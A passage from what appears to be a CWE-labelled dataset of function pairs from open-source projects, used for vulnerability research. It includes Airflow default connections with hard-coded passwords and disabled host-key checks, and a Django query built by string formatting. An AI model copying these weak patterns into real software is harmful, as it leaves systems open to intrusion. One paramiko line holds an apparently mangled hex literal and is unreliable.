            if freq.getURL() not in already_added:
                
                # Vulnerable and not in list, add:
                v = vuln.vuln()
                v.setURL( freq.getURL() )
                v.setSeverity(severity.LOW)
                v.setDc( freq.getDc() )
                v.setName( 'Cross site request forgery vulnerability' )
                v.setMethod( freq.getMethod() )
                msg = 'The URL: ' + freq.getURL() + ' is vulnerable to cross site request forgery.'
                msg += ' It allows the attacker to exchange the method from POST to GET when sending'
                msg += ' data to the server.'
                v.setDesc( msg )
                self._vuln_complex.append( v )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/urlmaster.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, code = get_page(get=vector)
        retval |= (code or 0) >= 400 and all(_ in (page or """") for _ in (""UrlMaster"", ""UrlRewriteModule"", ""SecurityCheck""))
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,285482b396468cab9a611f73160ea603340c1574,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, code = get_page(get=vector)
        retval |= code >= 400 and all(_ in (page or """") for _ in (""UrlMaster"", ""UrlRewriteModule"", ""SecurityCheck""))
        if retval:
            break

    return retval"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/test_set.py,0,"def load_tests(self, filter=None):
        '''
        Loads all tests from the plugins directory and puts them into the tests
        dictionary.
        '''

        # tests are a dictionary of functions, grouped by check type
        # where the key is the function name, and the value is the
        # function itself.
        #  eg.   tests[check_type][fn_name] = function
        self.tests = dict()

        directory = self.config.get_setting('plugins_dir')
        plugin_name_pattern = self.config.get_setting('plugin_name_pattern')

        decorators = self._get_decorators_list()
        # try to import each python file in the plugins directory
        for file in glob.glob1(directory, plugin_name_pattern):
            module_name = file.split('.')[0]

            # try to import the module by name
            try:
                module = importlib.import_module(directory + '.' + module_name)

            # if it fails, die
            except ImportError as e:
                self.logger.error(""could not import test module '%s.%s'"" %
                                  (directory, module_name))
                self.logger.error(""\tdetail: '%s'"" % (str(e)))
                sys.exit(2)

            # otherwise we want to obtain a list of all functions in the module
            # and add them to our dictionary of tests
            else:
                functions_list = [
                    o for o in getmembers(module) if isfunction(o[1])
                ]
                for cur_func in functions_list:

                    # for every function in the module, add to the dictionary
                    # unless it's one of our decorators, then ignore it
                    fn_name = cur_func[0]
                    if fn_name not in decorators:
                        try:
                            function = getattr(module, fn_name)
                        except AttributeError as e:
                            self.logger.error(
                                ""could not locate test function '%s' in ""
                                ""module '%s.%s'"" %
                                (fn_name, directory, module_name)
                            )
                            sys.exit(2)
                        else:
                            if hasattr(function, '_checks'):
                                for check in function._checks:
                                    # if check type hasn't been encountered
                                    # yet, initialize to empty dictionary
                                    if check not in self.tests:
                                        self.tests[check] = {}
                                    # if there is a test name collision, bail
                                    if fn_name in self.tests[check]:
                                        self.logger.error(
                                            ""Duplicate function definition ""
                                            ""%s in %s"", fn_name, file
                                        )
                                        sys.exit(2)
                                    else:
                                        self.tests[check][fn_name] = function

        self._filter_tests(filter)",UNKNOWN,PyCQA/bandit,ee6d75dc95ecc411f540cb402a14d4fac7d991d0,"def load_tests(self, filter=None):
        '''
        Loads all tests from the plugins directory and puts them into the tests
        dictionary.
        '''

        # tests are a dictionary of functions, grouped by check type
        # where the key is the function name, and the value is the
        # function itself.
        #  eg.   tests[check_type][function_name] = function
        self.tests = dict()

        directory = self.config.get_setting('plugins_dir')
        plugin_name_pattern = self.config.get_setting('plugin_name_pattern')

        decorators = self._get_decorators_list()
        # try to import each python file in the plugins directory
        for file in glob.glob1(directory, plugin_name_pattern):
            module_name = file.split('.')[0]

            # try to import the module by name
            try:
                module = importlib.import_module(directory + '.' + module_name)

            # if it fails, die
            except ImportError as e:
                self.logger.error(""could not import test module '%s.%s'"" %
                                  (directory, module_name))
                self.logger.error(""\tdetail: '%s'"" % (str(e)))
                sys.exit(2)

            # otherwise we want to obtain a list of all functions in the module
            # and add them to our dictionary of tests
            else:
                functions_list = [
                    o for o in getmembers(module) if isfunction(o[1])
                ]
                for cur_func in functions_list:

                    # for every function in the module, add to the dictionary
                    # unless it's one of our decorators, then ignore it
                    function_name = cur_func[0]
                    if function_name not in decorators:
                        try:
                            function = getattr(module, function_name)
                        except AttributeError as e:
                            self.logger.error(
                                ""could not locate test function '%s' in ""
                                ""module '%s.%s'"" %
                                (function_name, directory, module_name)
                            )
                            sys.exit(2)
                        else:
                            if hasattr(function, '_checks'):
                                for check in function._checks:
                                    # if check type hasn't been encountered
                                    # yet, initialize to empty dictionary
                                    if check not in self.tests:
                                        self.tests[check] = {}
                                    # if there is a test name collision, bail
                                    if function_name in self.tests[check]:
                                        self.logger.error(""Duplicate function ""
                                                          ""definition %s in %s"",
                                                          function_name, file)
                                        sys.exit(2)
                                    else:
                                        self.tests[check][function_name] = function

        self._filter_tests(filter)"
,UNKNOWN,UNKNOWN,tests/pytests/integration/states/test_file.py,1,"def test_patch_directory(
    salt_call_cli,
    content,
    all_patch_file,
    min_patch_ver,
    patch_file_dest,
):
    """"""
    Test file.patch using a patch applied to a directory, with changes
    spanning multiple files.
    """"""
    _check_minimum_version(salt_call_cli, min_patch_ver)
    # Create a new unpatched set of files
    os.makedirs(patch_file_dest / ""foo"" / ""bar"")
    numbers_file = patch_file_dest / ""foo"" / ""numbers.txt""
    math_file = patch_file_dest / ""foo"" / ""bar"" / ""math.txt""

    sls_contents = """"""
        do-patch:
          file.patch:
            - name: {base_dir}
            - source: {all_patch}
            - strip: 1
        """""".format(
        base_dir=patch_file_dest, all_patch=all_patch_file
    )

    sls_tempfile = pytest.helpers.temp_file(
        ""test_patch.sls"", sls_contents, patch_file_dest
    )
    numbers_tempfile = pytest.helpers.temp_file(
        numbers_file, content[0], patch_file_dest
    )
    math_tempfile = pytest.helpers.temp_file(math_file, content[1], patch_file_dest)

    with sls_tempfile, numbers_tempfile, math_tempfile:
        # Run the state file
        ret = salt_call_cli.run(""state.apply"", ""test_patch"")
        assert ret.exitcode == 0
        assert ret.json
        # Check to make sure the patch was applied okay
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True
        assert state_run[""comment""] == ""Patch successfully applied""

        # Re-run the state, should succeed and there should be a message about
        # a partially-applied hunk.
        ret = salt_call_cli.run(""state.apply"", ""test_patch"")
        assert ret.exitcode == 0
        assert ret.json
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True
        assert state_run[""comment""] == ""Patch was already applied""
        assert state_run[""changes""] == {}",CWE-703,saltstack/salt,f4779c7607a5c18d6390267a8aebca3887f207c6,"def test_patch_directory(
    salt_call_cli,
    content,
    all_patch_file,
    min_patch_ver,
    patch_file_dest,
):
    """"""
    Test file.patch using a patch applied to a directory, with changes
    spanning multiple files.
    """"""
    numbers_file_contents = """"""
    one
    two
    three
    
    1
    2
    3
    """"""
    math_file_contents = """"""
    Five plus five is ten
    
    Four squared is sixteen
    """"""
    _check_minimum_version(salt_call_cli, min_patch_ver)
    # Create a new unpatched set of files
    os.makedirs(patch_file_dest / ""foo"" / ""bar"")
    numbers_file = patch_file_dest / ""foo"" / ""numbers.txt""
    math_file = patch_file_dest / ""foo"" / ""bar"" / ""math.txt""

    sls_contents = """"""
        do-patch:
          file.patch:
            - name: {base_dir}
            - source: {all_patch}
            - strip: 1
        """""".format(
        base_dir=patch_file_dest, all_patch=all_patch_file
    )

    sls_tempfile = pytest.helpers.temp_file(
        ""test_patch.sls"", sls_contents, patch_file_dest
    )
    numbers_tempfile = pytest.helpers.temp_file(
        numbers_file, content[0], patch_file_dest
    )
    math_tempfile = pytest.helpers.temp_file(math_file, content[1], patch_file_dest)

    with sls_tempfile, numbers_tempfile, math_tempfile:
        # Run the state file
        ret = salt_call_cli.run(""state.apply"", ""test_patch"")
        assert ret.exitcode == 0
        assert ret.json
        # Check to make sure the patch was applied okay
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True
        assert state_run[""comment""] == ""Patch successfully applied""

        # Re-run the state, should succeed and there should be a message about
        # a partially-applied hunk.
        ret = salt_call_cli.run(""state.apply"", ""test_patch"")
        assert ret.exitcode == 0
        assert ret.json
        state_run = next(iter(ret.json.values()))
        assert state_run[""result""] is True
        assert state_run[""comment""] == ""Patch was already applied""
        assert state_run[""changes""] == {}"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/models.py,0,"def save_existing_objects(self, commit=True):
        self.changed_objects = []
        self.deleted_objects = []
        if not self.initial_forms:
            return []

        saved_instances = []
        try:
            forms_to_delete = self.deleted_forms
        except AttributeError:
            forms_to_delete = []
        for form in self.initial_forms:
            pk_name = self._pk_field.name
            raw_pk_value = form._raw_value(pk_name)

            # clean() for different types of PK fields can sometimes return
            # the model instance, and sometimes the PK. Handle either.
            pk_value = form.fields[pk_name].clean(raw_pk_value)
            pk_value = getattr(pk_value, 'pk', pk_value)

            obj = self._existing_object(pk_value)
            if form in forms_to_delete:
                self.deleted_objects.append(obj)
                obj.delete()
                continue
            if form.has_changed():
                self.changed_objects.append((obj, form.changed_data))
                saved_instances.append(self.save_existing(form, obj, commit=commit))
                if not commit:
                    self.saved_forms.append(form)
        return saved_instances",CWE-Unknown,django/django,fb3d916c201d5882098bbcc94f60765412ba7aff,"def save_existing_objects(self, commit=True):
        self.changed_objects = []
        self.deleted_objects = []
        if not self.initial_forms:
            return []

        saved_instances = []
        for form in self.initial_forms:
            pk_name = self._pk_field.name
            raw_pk_value = form._raw_value(pk_name)

            # clean() for different types of PK fields can sometimes return
            # the model instance, and sometimes the PK. Handle either.
            pk_value = form.fields[pk_name].clean(raw_pk_value)
            pk_value = getattr(pk_value, 'pk', pk_value)

            obj = self._existing_object(pk_value)
            if self.can_delete and self._should_delete_form(form):
                self.deleted_objects.append(obj)
                obj.delete()
                continue
            if form.has_changed():
                self.changed_objects.append((obj, form.changed_data))
                saved_instances.append(self.save_existing(form, obj, commit=commit))
                if not commit:
                    self.saved_forms.append(form)
        return saved_instances"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/packet.py,0,"def send_message(self, data):
        """"""
        Write a block of data using the current cipher, as an SSH block.
        """"""
        # encrypt this sucka
        data = data.asbytes()
        cmd = byte_ord(data[0])
        if cmd in MSG_NAMES:
            cmd_name = MSG_NAMES[cmd]
        else:
            cmd_name = ""${:x}"".format(cmd)
        orig_len = len(data)
        self.__write_lock.acquire()
        try:
            if self.__compress_engine_out is not None:
                data = self.__compress_engine_out(data)
            packet = self._build_packet(data)
            if self.__dump_packets:
                self._log(
                    DEBUG,
                    ""Write packet <{}>, length {}"".format(cmd_name, orig_len),
                )
                self._log(DEBUG, util.format_binary(packet, ""OUT: ""))
            if self.__block_engine_out is not None:
                if self.__etm_out:
                    # packet length is not encrypted in EtM
                    out = packet[0:4] + self.__block_engine_out.update(
                        packet[4:]
                    )
                else:
                    out = self.__block_engine_out.update(packet)
            else:
                out = packet
            # + mac
            if self.__block_engine_out is not None:
                packed = struct.pack("">I"", self.__sequence_number_out)
                payload = packed + (out if self.__etm_out else packet)
                out += compute_hmac(
                    self.__mac_key_out, payload, self.__mac_engine_out
                )[: self.__mac_size_out]
            self.__sequence_number_out = (
                self.__sequence_number_out + 1
            ) & xffffffff
            self.write_all(out)

            self.__sent_bytes += len(out)
            self.__sent_packets += 1
            sent_too_much = (
                self.__sent_packets >= self.REKEY_PACKETS
                or self.__sent_bytes >= self.REKEY_BYTES
            )
            if sent_too_much and not self.__need_rekey:
                # only ask once for rekeying
                msg = ""Rekeying (hit {} packets, {} bytes sent)""
                self._log(
                    DEBUG, msg.format(self.__sent_packets, self.__sent_bytes)
                )
                self.__received_bytes_overflow = 0
                self.__received_packets_overflow = 0
                self._trigger_rekey()
        finally:
            self.__write_lock.release()",,paramiko/paramiko,1cd22f097aca2667cbfde6320178e2354d07199b,"def send_message(self, data):
        """"""
        Write a block of data using the current cipher, as an SSH block.
        """"""
        # encrypt this sucka
        data = asbytes(data)
        cmd = byte_ord(data[0])
        if cmd in MSG_NAMES:
            cmd_name = MSG_NAMES[cmd]
        else:
            cmd_name = ""${:x}"".format(cmd)
        orig_len = len(data)
        self.__write_lock.acquire()
        try:
            if self.__compress_engine_out is not None:
                data = self.__compress_engine_out(data)
            packet = self._build_packet(data)
            if self.__dump_packets:
                self._log(
                    DEBUG,
                    ""Write packet <{}>, length {}"".format(cmd_name, orig_len),
                )
                self._log(DEBUG, util.format_binary(packet, ""OUT: ""))
            if self.__block_engine_out is not None:
                if self.__etm_out:
                    # packet length is not encrypted in EtM
                    out = packet[0:4] + self.__block_engine_out.update(
                        packet[4:]
                    )
                else:
                    out = self.__block_engine_out.update(packet)
            else:
                out = packet
            # + mac
            if self.__block_engine_out is not None:
                packed = struct.pack("">I"", self.__sequence_number_out)
                payload = packed + (out if self.__etm_out else packet)
                out += compute_hmac(
                    self.__mac_key_out, payload, self.__mac_engine_out
                )[: self.__mac_size_out]
            self.__sequence_number_out = (
                self.__sequence_number_out + 1
            ) & xffffffff
            self.write_all(out)

            self.__sent_bytes += len(out)
            self.__sent_packets += 1
            sent_too_much = (
                self.__sent_packets >= self.REKEY_PACKETS
                or self.__sent_bytes >= self.REKEY_BYTES
            )
            if sent_too_much and not self.__need_rekey:
                # only ask once for rekeying
                msg = ""Rekeying (hit {} packets, {} bytes sent)""
                self._log(
                    DEBUG, msg.format(self.__sent_packets, self.__sent_bytes)
                )
                self.__received_bytes_overflow = 0
                self.__received_packets_overflow = 0
                self._trigger_rekey()
        finally:
            self.__write_lock.release()"
,UNKNOWN,UNKNOWN,django/db/backends/mysql/introspection.py,1,"def get_table_description(self, cursor, table_name):
        """"""
        Returns a description of the table, with the DB-API cursor.description interface.""
        """"""
        # information_schema database gives more accurate results for some figures:
        # - varchar length returned by cursor.description is an internal length,
        #   not visible length (#5725)
        # - precision and scale (for decimal fields) (#5014)
        # - auto_increment is not available in cursor.description
        cursor.execute(""""""
            SELECT column_name, data_type, character_maximum_length, numeric_precision,
                   numeric_scale, extra, column_default
            FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()"""""", [table_name])
        field_info = {line[0]: InfoLine(*line) for line in cursor.fetchall()}

        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))

        def to_int(i):
            return int(i) if i is not None else i

        fields = []
        for line in cursor.description:
            col_name = force_text(line[0])
            fields.append(
                FieldInfo(*(
                    (col_name,) +
                    line[1:3] +
                    (
                        to_int(field_info[col_name].max_len) or line[3],
                        to_int(field_info[col_name].num_prec) or line[4],
                        to_int(field_info[col_name].num_scale) or line[5],
                        line[6],
                        field_info[col_name].extra,
                        field_info[col_name].column_default,
                    )
                ))
            )
        return fields",CWE-89,django/django,2cd2d188516475ddf256e6267cd82c495fb5c430,"def get_table_description(self, cursor, table_name):
        """"""
        Returns a description of the table, with the DB-API cursor.description interface.""
        """"""
        # information_schema database gives more accurate results for some figures:
        # - varchar length returned by cursor.description is an internal length,
        #   not visible length (#5725)
        # - precision and scale (for decimal fields) (#5014)
        # - auto_increment is not available in cursor.description
        cursor.execute(""""""
            SELECT column_name, data_type, character_maximum_length, numeric_precision,
                   numeric_scale, extra, column_default
            FROM information_schema.columns
            WHERE table_name = %s AND table_schema = DATABASE()"""""", [table_name])
        field_info = {line[0]: InfoLine(*line) for line in cursor.fetchall()}

        cursor.execute(""SELECT * FROM %s LIMIT 1"" % self.connection.ops.quote_name(table_name))

        def to_int(i):
            return int(i) if i is not None else i

        fields = []
        for line in cursor.description:
            col_name = force_text(line[0])
            fields.append(
                FieldInfo(*((col_name,)
                            + line[1:3]
                            + (to_int(field_info[col_name].max_len) or line[3],
                               to_int(field_info[col_name].num_prec) or line[4],
                               to_int(field_info[col_name].num_scale) or line[5])
                            + (line[6],)
                            + (field_info[col_name].extra,)
                            + (field_info[col_name].column_default,)))
            )
        return fields"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def create_default_connections(session: Session = NEW_SESSION):
    """"""Create default Airflow connections.""""""
    from airflow.models.connection import Connection

    merge_conn(
        Connection(
            conn_id=""airflow_db"",
            conn_type=""mysql"",
            host=""mysql"",
            login=""root"",
            password="""",
            schema=""airflow"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""athena_default"",
            conn_type=""athena"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""aws_default"",
            conn_type=""aws"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_batch_default"",
            conn_type=""azure_batch"",
            login=""<ACCOUNT_NAME>"",
            password="""",
            extra=""""""{""account_url"": ""<ACCOUNT_URL>""}"""""",
        )
    )
    merge_conn(
        Connection(
            conn_id=""azure_cosmos_default"",
            conn_type=""azure_cosmos"",
            extra='{""database_name"": ""<DATABASE_NAME>"", ""collection_name"": ""<COLLECTION_NAME>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_data_explorer_default"",
            conn_type=""azure_data_explorer"",
            host=""https://<CLUSTER>.kusto.windows.net"",
            extra=""""""{""auth_method"": ""<AAD_APP | AAD_APP_CERT | AAD_CREDS | AAD_DEVICE>"",
                    ""tenant"": ""<TENANT ID>"", ""certificate"": ""<APPLICATION PEM CERTIFICATE>"",
                    ""thumbprint"": ""<APPLICATION CERTIFICATE THUMBPRINT>""}"""""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_data_lake_default"",
            conn_type=""azure_data_lake"",
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_default"",
            conn_type=""azure"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""cassandra_default"",
            conn_type=""cassandra"",
            host=""cassandra"",
            port=9042,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""databricks_default"",
            conn_type=""databricks"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""dingding_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""drill_default"",
            conn_type=""drill"",
            host=""localhost"",
            port=8047,
            extra='{""dialect_driver"": ""drill+sadrill"", ""storage_plugin"": ""dfs""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""druid_broker_default"",
            conn_type=""druid"",
            host=""druid-broker"",
            port=8082,
            extra='{""endpoint"": ""druid/v2/sql""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""druid_ingest_default"",
            conn_type=""druid"",
            host=""druid-overlord"",
            port=8081,
            extra='{""endpoint"": ""druid/indexer/v1/task""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""elasticsearch_default"",
            conn_type=""elasticsearch"",
            host=""localhost"",
            schema=""http"",
            port=9200,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""emr_default"",
            conn_type=""emr"",
            extra=""""""
                {   ""Name"": ""default_job_flow_name"",
                    ""LogUri"": ""s3://my-emr-log-bucket/default_job_flow_location"",
                    ""ReleaseLabel"": ""emr-4.6.0"",
                    ""Instances"": {
                        ""Ec2KeyName"": ""mykey"",
                        ""Ec2SubnetId"": ""somesubnet"",
                        ""InstanceGroups"": [
                            {
                                ""Name"": ""Master nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""MASTER"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            },
                            {
                                ""Name"": ""Core nodes"",
                                ""Market"": ""ON_DEMAND"",
                                ""InstanceRole"": ""CORE"",
                                ""InstanceType"": ""r3.2xlarge"",
                                ""InstanceCount"": 1
                            }
                        ],
                        ""TerminationProtected"": false,
                        ""KeepJobFlowAliveWhenNoSteps"": false
                    },
                    ""Applications"":[
                        { ""Name"": ""Spark"" }
                    ],
                    ""VisibleToAllUsers"": true,
                    ""JobFlowRole"": ""EMR_EC2_DefaultRole"",
                    ""ServiceRole"": ""EMR_DefaultRole"",
                    ""Tags"": [
                        {
                            ""Key"": ""app"",
                            ""Value"": ""analytics""
                        },
                        {
                            ""Key"": ""environment"",
                            ""Value"": ""development""
                        }
                    ]
                }
            """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""facebook_default"",
            conn_type=""facebook_social"",
            extra=""""""
                {   ""account_id"": ""<AD_ACCOUNT_ID>"",
                    ""app_id"": ""<FACEBOOK_APP_ID>"",
                    ""app_secret"": ""<FACEBOOK_APP_SECRET>"",
                    ""access_token"": ""<FACEBOOK_AD_ACCESS_TOKEN>""
                }
            """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""fs_default"",
            conn_type=""fs"",
            extra='{""path"": ""/""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""ftp_default"",
            conn_type=""ftp"",
            host=""localhost"",
            port=21,
            login=""airflow"",
            password=""airflow"",
            extra='{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""google_cloud_default"",
            conn_type=""google_cloud_platform"",
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""hive_cli_default"",
            conn_type=""hive_cli"",
            port=10000,
            host=""localhost"",
            extra='{""use_beeline"": true, ""auth"": """"}',
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""hiveserver2_default"",
            conn_type=""hiveserver2"",
            host=""localhost"",
            schema=""default"",
            port=10000,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""http_default"",
            conn_type=""http"",
            host=""https://www.httpbin.org/"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""iceberg_default"",
            conn_type=""iceberg"",
            host=""https://api.iceberg.io/ws/v1"",
        ),
        session,
    )
    merge_conn(Connection(conn_id=""impala_default"", conn_type=""impala"", host=""localhost"", port=21050))
    merge_conn(
        Connection(
            conn_id=""kafka_default"",
            conn_type=""kafka"",
            extra=json.dumps({""bootstrap.servers"": ""broker:29092""}),
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""kubernetes_default"",
            conn_type=""kubernetes"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""kylin_default"",
            conn_type=""kylin"",
            host=""localhost"",
            port=7070,
            login=""ADMIN"",
            password=""KYLIN"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""leveldb_default"",
            conn_type=""leveldb"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(Connection(conn_id=""livy_default"", conn_type=""livy"", host=""livy"", port=8998), session)
    merge_conn(
        Connection(
            conn_id=""local_mysql"",
            conn_type=""mysql"",
            host=""localhost"",
            login=""airflow"",
            password=""airflow"",
            schema=""airflow"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""metastore_default"",
            conn_type=""hive_metastore"",
            host=""localhost"",
            extra='{""authMechanism"": ""PLAIN""}',
            port=9083,
        ),
        session,
    )
    merge_conn(Connection(conn_id=""mongo_default"", conn_type=""mongo"", host=""mongo"", port=27017), session)
    merge_conn(
        Connection(
            conn_id=""mssql_default"",
            conn_type=""mssql"",
            host=""localhost"",
            port=1433,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""mysql_default"",
            conn_type=""mysql"",
            login=""root"",
            schema=""airflow"",
            host=""mysql"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""opsgenie_default"",
            conn_type=""http"",
            host="""",
            password="""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""oracle_default"",
            conn_type=""oracle"",
            host=""localhost"",
            login=""root"",
            password=""password"",
            schema=""schema"",
            port=1521,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""oss_default"",
            conn_type=""oss"",
            extra=""""""{
                ""auth_type"": ""AK"",
                ""access_key_id"": ""<ACCESS_KEY_ID>"",
                ""access_key_secret"": ""<ACCESS_KEY_SECRET>"",
                ""region"": ""<YOUR_OSS_REGION>""}
                """""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pig_cli_default"",
            conn_type=""pig_cli"",
            schema=""default"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pinot_admin_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""pinot_broker_default"",
            conn_type=""pinot"",
            host=""localhost"",
            port=9000,
            extra='{""endpoint"": ""/query"", ""schema"": ""http""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""postgres_default"",
            conn_type=""postgres"",
            login=""postgres"",
            password=""airflow"",
            schema=""airflow"",
            host=""postgres"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""presto_default"",
            conn_type=""presto"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""qdrant_default"",
            conn_type=""qdrant"",
            host=""qdrant"",
            port=6333,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""redis_default"",
            conn_type=""redis"",
            host=""redis"",
            port=6379,
            extra='{""db"": 0}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""redshift_default"",
            conn_type=""redshift"",
            extra=""""""{
    ""iam"": true,
    ""cluster_identifier"": ""<REDSHIFT_CLUSTER_IDENTIFIER>"",
    ""port"": 5439,
    ""profile"": ""default"",
    ""db_user"": ""awsuser"",
    ""database"": ""dev"",
    ""region"": """"
}"""""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""salesforce_default"",
            conn_type=""salesforce"",
            login=""username"",
            password=""password"",
            extra='{""security_token"": ""security_token""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""segment_default"",
            conn_type=""segment"",
            extra='{""write_key"": ""my-segment-write-key""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sftp_default"",
            conn_type=""sftp"",
            host=""localhost"",
            port=22,
            login=""airflow"",
            extra='{""key_file"": ""~/.ssh/id_rsa"", ""no_host_key_check"": true}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""spark_default"",
            conn_type=""spark"",
            host=""yarn"",
            extra='{""queue"": ""root.default""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""sqlite_default"",
            conn_type=""sqlite"",
            host=os.path.join(gettempdir(), ""sqlite_default.db""),
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""ssh_default"",
            conn_type=""ssh"",
            host=""localhost"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""tableau_default"",
            conn_type=""tableau"",
            host=""https://tableau.server.url"",
            login=""user"",
            password=""password"",
            extra='{""site_id"": ""my_site""}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""tabular_default"",
            conn_type=""tabular"",
            host=""https://api.tabulardata.io/ws/v1"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""teradata_default"",
            conn_type=""teradata"",
            host=""localhost"",
            login=""user"",
            password=""password"",
            schema=""schema"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""trino_default"",
            conn_type=""trino"",
            host=""localhost"",
            schema=""hive"",
            port=3400,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""vertica_default"",
            conn_type=""vertica"",
            host=""localhost"",
            port=5433,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""wasb_default"",
            conn_type=""wasb"",
            extra='{""sas_token"": null}',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""webhdfs_default"",
            conn_type=""hdfs"",
            host=""localhost"",
            port=50070,
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""yandexcloud_default"",
            conn_type=""yandexcloud"",
            schema=""default"",
        ),
        session,
    )",CWE-259,apache/airflow,da79f6b206a3b8a411e951ede60986e40433ebb8,"def create_default_connections(session: Session = NEW_SESSION):
    """"""Create default Airflow connections.""""""
    from airflow.models.connection import Connection

    merge_conn(
        Connection(
            conn_id=""airflow_db"",
            conn_type=""mysql"",
            host=""mysql"",
            login=""root"",
            password="""",
            schema=""airflow"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""athena_default"",
            conn_type=""athena"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""aws_default"",
            conn_type=""aws"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_batch_default"",
            conn_type=""azure_batch"",
            login=""<ACCOUNT_NAME>"",
            password="""",
            extra=""""""{""account_url"": ""<ACCOUNT_URL>""}"""""",
        )
    )
    merge_conn(
        Connection(
            conn_id=""azure_cosmos_default"",
            conn_type=""azure_cosmos"",
            extra='{""database_name"": ""<DATABASE_NAME>"", ""collection_name"": ""<COLLECTION_NAME>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_data_explorer_default"",
            conn_type=""azure_data_explorer"",
            host=""https://<CLUSTER>.kusto.windows.net"",
            extra=""""""{""auth_method"": ""<AAD_APP | AAD_APP_CERT | AAD_CREDS | AAD_DEVICE>"",
                    ""tenant"": ""<TENANT ID>"", ""certificate"": ""<APPLICATION PEM CERTIFICATE>"",
                    ""thumbprint"": ""<APPLICATION CERTIFICATE THUMBPRINT>""}"""""",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_data_lake_default"",
            conn_type=""azure_data_lake"",
            extra='{""tenant"": ""<TENANT>"", ""account_name"": ""<ACCOUNTNAME>"" }',
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""azure_default"",
            conn_type=""azure"",
        ),
        session,
    )
    merge_conn(
        Connection(
            conn_id=""cassandra_default"",
            conn_type=""cassandra"",
            host=""cassandra"",
            port=9042,
        ),
        session,
    )
